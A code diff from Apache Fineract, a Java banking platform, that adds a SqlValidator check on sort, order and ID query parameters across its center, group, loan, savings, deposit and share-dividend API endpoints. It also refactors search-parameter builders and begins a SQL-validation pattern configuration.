sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -75,6 +75,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.calendar.data.CalendarData;
@@ -113,6 +114,7 @@ public class CentersApiResource {
private final EntityDatatableChecksReadService entityDatatableChecksReadService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -177,10 +179,14 @@ public class CentersApiResource {
return this.toApiJsonSerializer.serialize(settings, staffCenterDataArray,
GroupingTypesApiConstants.STAFF_CENTER_RESPONSE_DATA_PARAMETERS);
}
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
final Boolean isOrphansOnly = false;
final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit,
orderBy, sortOrder, isOrphansOnly);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
sqlValidator.validate(hierarchy);
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
.name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder).staffId(staffId).build();
if (parameters.isPaged()) {
final Page<CenterData> centers = this.centerReadPlatformService.retrievePagedAll(searchParameters, parameters);
return this.toApiJsonSerializer.serialize(settings, centers, GroupingTypesApiConstants.CENTER_RESPONSE_DATA_PARAMETERS);
@@ -74,6 +74,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.calendar.data.CalendarData;
@@ -130,6 +131,7 @@ public class GroupsApiResource {
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final GLIMAccountInfoReadPlatformService glimAccountInfoReadPlatformService;
private final GSIMReadPlatformService gsimReadPlatformService;
private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -197,11 +199,17 @@ public class GroupsApiResource {
@QueryParam("orphansOnly") @Parameter(description = "orphansOnly") final Boolean orphansOnly) {
context.authenticatedUser().validateHasReadPermission(GroupingTypesApiConstants.GROUP_RESOURCE_NAME);
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
sqlValidator.validate(hierarchy);
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit,
orderBy, sortOrder, orphansOnly);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).isSelfUser(false).officeId(officeId)
.externalId(externalId).name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder)
.staffId(staffId).orphansOnly(orphansOnly).build();
if (parameters.isPaged()) {
final Page<GroupGeneralData> groups = groupReadPlatformService.retrievePagedAll(searchParameters, parameters);
return toApiJsonSerializer.serialize(settings, groups, GroupingTypesApiConstants.GROUP_RESPONSE_DATA_PARAMETERS);
@@ -317,16 +317,16 @@ public class CenterReadPlatformServiceImpl implements CenterReadPlatformService
final SQLBuilder extraCriteria = getCenterExtraCriteria(this.centerMapper.schema(), searchParameters);
extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder());
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -352,15 +352,15 @@ public class CenterReadPlatformServiceImpl implements CenterReadPlatformService
extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
if (searchParameters != null) {
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder());
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -137,15 +137,15 @@ public class GroupReadPlatformServiceImpl implements GroupReadPlatformService {
final SQLBuilder extraCriteria = getGroupExtraCriteria(searchParameters);
extraCriteria.addCriteria(" o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
if (parameters.isOrderByRequested()) {
if (parameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder());
}
if (parameters.isLimited()) {
if (parameters.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParameters.getLimit());
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParameters.getOffset());
}
}
@@ -168,17 +168,17 @@ public class GroupReadPlatformServiceImpl implements GroupReadPlatformService {
sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
if (searchParameters != null && searchParameters.isOrphansOnly()) {
if (searchParameters != null && searchParameters.getOrphansOnly()) {
sqlBuilder.append(" and g.parent_id is NULL");
}
if (parameters != null) {
if (parameters.isOrderByRequested()) {
if (parameters.hasOrderBy()) {
sqlBuilder.append(parameters.orderBySql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
}
if (parameters.isLimited()) {
if (parameters.hasLimit()) {
sqlBuilder.append(parameters.limitSql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
}
@@ -87,6 +87,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.monetary.data.CurrencyData;
import org.apache.fineract.organisation.staff.data.StaffData;
import org.apache.fineract.portfolio.account.PortfolioAccountType;
@@ -279,6 +280,7 @@ public class LoansApiResource {
private final LoanCollateralManagementReadPlatformService loanCollateralManagementReadPlatformService;
private final DefaultToApiJsonSerializer<LoanDelinquencyTagHistoryData> jsonSerializerTagHistory;
private final DelinquencyReadPlatformService delinquencyReadPlatformService;
private final SqlValidator sqlValidator;
/*
* This template API is used for loan approval, ideally this should be invoked on loan that are pending for
@@ -476,6 +478,10 @@ public class LoansApiResource {
this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(accountNo);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().accountNo(accountNo).sortOrder(sortOrder)
.externalId(externalId).offset(offset).limit(limit).orderBy(orderBy).status(status).build();
@@ -349,19 +349,19 @@ public class LoanReadPlatformServiceImpl implements LoanReadPlatformService, Loa
arrayPos = arrayPos + 1;
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -35,6 +35,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
import org.apache.fineract.portfolio.savings.data.DepositAccountOnHoldTransactionData;
import org.apache.fineract.portfolio.savings.service.DepositAccountOnHoldTransactionReadPlatformService;
@@ -50,6 +51,7 @@ public class DepositAccountOnHoldFundTransactionsApiResource {
private final DefaultToApiJsonSerializer<DepositAccountOnHoldTransactionData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DepositAccountOnHoldTransactionReadPlatformService depositAccountOnHoldTransactionReadPlatformService;
private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -60,7 +62,10 @@ public class DepositAccountOnHoldFundTransactionsApiResource {
this.context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<DepositAccountOnHoldTransactionData> transfers = this.depositAccountOnHoldTransactionReadPlatformService
.retriveAll(savingsId, guarantorFundingId, searchParameters);
@@ -69,6 +69,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.PortfolioAccountData;
import org.apache.fineract.portfolio.account.service.AccountAssociationsReadPlatformService;
import org.apache.fineract.portfolio.savings.DepositAccountType;
@@ -105,6 +106,7 @@ public class FixedDepositAccountsApiResource {
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final FixedDepositAccountInterestCalculationService fixedDepositAccountInterestCalculationService;
private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -144,7 +146,10 @@ public class FixedDepositAccountsApiResource {
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.FIXED_DEPOSIT_ACCOUNT_RESOURCE_NAME);
final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
.offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
if (paginationParameters.isPaged()) {
@@ -67,6 +67,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.DepositAccountType;
import org.apache.fineract.portfolio.savings.DepositsApiConstants;
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
@@ -98,6 +99,7 @@ public class RecurringDepositAccountsApiResource {
private final DepositAccountPreMatureCalculationPlatformService accountPreMatureCalculationPlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -138,7 +140,10 @@ public class RecurringDepositAccountsApiResource {
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.RECURRING_DEPOSIT_ACCOUNT_RESOURCE_NAME);
final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
.offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
if (paginationParameters.isPaged()) {
@@ -65,6 +65,7 @@ import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.savings.DepositAccountType;
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
import org.apache.fineract.portfolio.savings.data.SavingsAccountChargeData;
@@ -92,6 +93,7 @@ public class SavingsAccountsApiResource {
private final SavingsAccountChargeReadPlatformService savingsAccountChargeReadPlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -134,7 +136,11 @@ public class SavingsAccountsApiResource {
context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forSavings(externalId, offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final Page<SavingsAccountData> products = savingsAccountReadPlatformService.retrieveAll(searchParameters);
@@ -60,19 +60,19 @@ public class DepositAccountOnHoldTransactionReadPlatformServiceImpl implements D
paramObj.add(guarantorFundingId);
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -217,19 +217,19 @@ public class SavingsAccountReadPlatformServiceImpl implements SavingsAccountRead
objectArray[arrayPos] = searchParameters.getOfficeId();
arrayPos = arrayPos + 1;
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -69,6 +69,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
private final ReadWriteNonCoreDataService datatableService;
private final DataTableValidator dataTableValidator;
private final JdbcTemplate jdbcTemplate;
private final SearchUtil searchUtil;
@Override
public Page<SavingsAccountTransactionData> searchTransactions(@NotNull Long savingsId,
@@ -76,7 +77,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
context.authenticatedUser().validateHasReadPermission(SAVINGS_ACCOUNT_RESOURCE_NAME);
String apptable = EntityTables.SAVINGS_TRANSACTION.getApptableName();
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(apptable));
PageRequest pageable = searchParameters.getPageable();
@@ -84,7 +85,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream()
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
.map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else {
pageable = pageable.withSort(Sort.Direction.DESC, "transaction_date", CREATED_DATE_DB_FIELD, "id");
sortPageable = pageable;
@@ -108,7 +109,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
String alias = "tr";
StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>();
SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper tm = new SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper();
Object[] args = params.toArray();
@@ -185,8 +186,8 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
dataTableValidator.validateTableSearch(queryRequest);
List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(apptable);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
String pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
String pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
AdvancedQueryData baseQuery = queryRequest.getBaseQuery();
List<TableQueryData> datatableQueries = queryRequest.getDatatableQueries();
@@ -200,9 +201,9 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
selectColumns = new ArrayList<>();
} else {
columnFilters = baseQuery.getNonNullFilters();
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
resultColumns = baseQuery.getNonNullResultColumns();
selectColumns = new ArrayList<>(SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
selectColumns = new ArrayList<>(searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
}
columnFilters.add(0, ColumnFilterData.eq("savings_account_id", savingsId.toString()));
if (resultColumns.isEmpty() && !queryRequest.hasResultColumn()) {
@@ -214,7 +215,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream()
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
.map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else {
pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
sortPageable = pageable;
@@ -228,7 +229,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
StringBuilder from = new StringBuilder(" ").append(sqlGenerator.buildFrom(apptable, alias, false));
StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>();
SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
sqlGenerator);
if (datatableQueries != null) {
@@ -280,7 +281,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
while (rowSet.next()) {
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
}
return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
}
@@ -33,7 +33,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.DataTableValidator;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksWritePlatformService;
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
import org.apache.fineract.infrastructure.entityaccess.service.FineractEntityAccessUtil;
import org.apache.fineract.infrastructure.event.business.service.BusinessEventNotifierService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
@@ -138,6 +138,7 @@ import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPos
import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPosterTask;
import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionSearchService;
import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionsSearchServiceImpl;
import org.apache.fineract.portfolio.search.service.SearchUtil;
import org.apache.fineract.useradministration.domain.AppUserRepositoryWrapper;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean;
@@ -151,10 +152,10 @@ public class SavingsConfiguration {
@Bean
@ConditionalOnMissingBean(SavingsAccountTransactionSearchService.class)
public SavingsAccountTransactionSearchService savingsAccountTransactionSearchService(PlatformSecurityContext context,
GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator,
ReadWriteNonCoreDataServiceImpl datatableService, DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate) {
GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator, ReadWriteNonCoreDataService datatableService,
DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate, SearchUtil searchUtil) {
return new SavingsAccountTransactionsSearchServiceImpl(context, genericDataService, sqlGenerator, datatableService,
dataTableValidator, jdbcTemplate);
dataTableValidator, jdbcTemplate, searchUtil);
}
@Bean
@@ -74,20 +74,20 @@ public class ShareAccountDividendReadPlatformServiceImpl implements ShareAccount
sqlBuilder.append(" and sa.account_no = ? ");
params.add(searchParameters.getAccountNo());
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -40,6 +40,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.shareaccounts.data.ShareAccountDividendData;
import org.apache.fineract.portfolio.shareaccounts.service.ShareAccountDividendReadPlatformService;
import org.apache.fineract.portfolio.shareproducts.data.ShareProductDividendPayOutData;
@@ -60,6 +61,7 @@ public class ShareDividendApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final ShareAccountDividendReadPlatformService shareAccountDividendReadPlatformService;
private final ShareProductDividendReadPlatformService shareProductDividendReadPlatformService;
private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -69,7 +71,10 @@ public class ShareDividendApiResource {
@QueryParam("sortOrder") final String sortOrder, @QueryParam("status") final Integer status) {
this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Page<ShareProductDividendPayOutData> dividendPayoutDetails = this.shareProductDividendReadPlatformService.retriveAll(productId,
status, searchParameters);
return this.toApiJsonSerializer.serialize(dividendPayoutDetails);
@@ -85,8 +90,11 @@ public class ShareDividendApiResource {
@PathParam("productId") final Long productId) {
this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forPaginationAndAccountNumberSearch(offset, limit, orderBy, sortOrder,
accountNo);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(accountNo);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).accountNo(accountNo).build();
Page<ShareAccountDividendData> dividendDetails = this.shareAccountDividendReadPlatformService.retriveAll(dividendId,
searchParameters);
return this.toApiAccountDetailJsonSerializer.serialize(dividendDetails);
@@ -62,19 +62,19 @@ public class ShareProductDividendReadPlatformServiceImpl implements ShareProduct
sqlBuilder.append(" and pod.status = ?");
params.add(status);
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -179,6 +179,101 @@ fineract.module.investor.enabled=${FINERACT_MODULE_INVESTOR_ENABLED:true}
fineract.insecure-http-client=${FINERACT_INSECURE_HTTP_CLIENT:true}
# sql validation
# inject-blind
fineract.sql-validation.patterns[0].name=inject-blind
